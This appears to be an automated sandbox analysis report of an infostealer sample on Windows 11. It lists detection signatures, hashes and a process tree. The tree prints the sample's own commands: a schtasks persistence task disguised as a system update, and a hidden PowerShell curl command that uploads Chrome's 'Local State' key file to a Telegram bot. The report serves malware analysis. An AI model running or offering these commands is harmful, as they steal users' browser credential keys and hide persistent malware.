Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    24/04/2026, 19:48

General

  • Target
    2026-04-24_b73533bd6040f6ef103be3ea5be0a872_cobalt-strike_icedid_satacom_stealc.exe
  • Size 809KB
  • Sample260424-yjbfpsbs3m
  • SHA256 5088824693715de67685f44071b97c11adf98f2da5e1ef8bc5e517b7d05013aa
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-04-24_b73533bd6040f6ef103be3ea5be0a872_cobalt-strike_icedid_satacom_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-04-24_b73533bd6040f6ef103be3ea5be0a872_cobalt-strike_icedid_satacom_stealc.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1792
    • C:\Windows\SYSTEM32\schtasks.exe
      schtasks.exe /create /f /tn "WinServiceUpdate" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemServices\svchost.exe" /sc onlogon /rl highest
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:8
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -W Hidden -C "curl.exe -F chat_id=7159337795 -F document=@'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State' -F caption='B_Key' https://api.telegram.org/bot8546737262:AAFtsOsZeekSL4SYoQ46wEacx9Wghu_w5aE/sendDocument"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:772
      • C:\Windows\system32\curl.exe
        "C:\Windows\system32\curl.exe" -F chat_id=7159337795 -F "document=@C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State" -F caption=B_Key https://api.telegram.org/bot8546737262:AAFtsOsZeekSL4SYoQ46wEacx9Wghu_w5aE/sendDocument
        3⤵
          PID:4400
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemServices\svchost.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemServices\svchost.exe
      1⤵
      • Executes dropped EXE
      PID:3712

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          __PSScriptPolicyTest_4az1gucp.nn3.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4az1gucp.nn3.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          svchost.exe

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemServices\svchost.exe
          • Size 809KB
          • SHA256 5088824693715de67685f44071b97c11adf98f2da5e1ef8bc5e517b7d05013aa
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/772-2-0x00000146D2CE0000-0x00000146D2CF0000-memory.dmp

          memory/772-3-0x00000146D2CE0000-0x00000146D2CF0000-memory.dmp

          memory/772-9-0x00000146D2C60000-0x00000146D2C82000-memory.dmp

          memory/772-11-0x00000146D2CE0000-0x00000146D2CF0000-memory.dmp

          memory/772-19-0x00000146BA610000-0x00000146BA61C000-memory.dmp

          memory/772-18-0x00000146B8D70000-0x00000146B8DA1000-memory.dmp

          memory/772-20-0x00000146BA660000-0x00000146BA672000-memory.dmp

          memory/1792-21-0x00000141A9420000-0x00000141A9451000-memory.dmp

          memory/3712-14-0x000001DD0BAE0000-0x000001DD0BB11000-memory.dmp

          memory/4400-15-0x000001E65B680000-0x000001E65B68C000-memory.dmp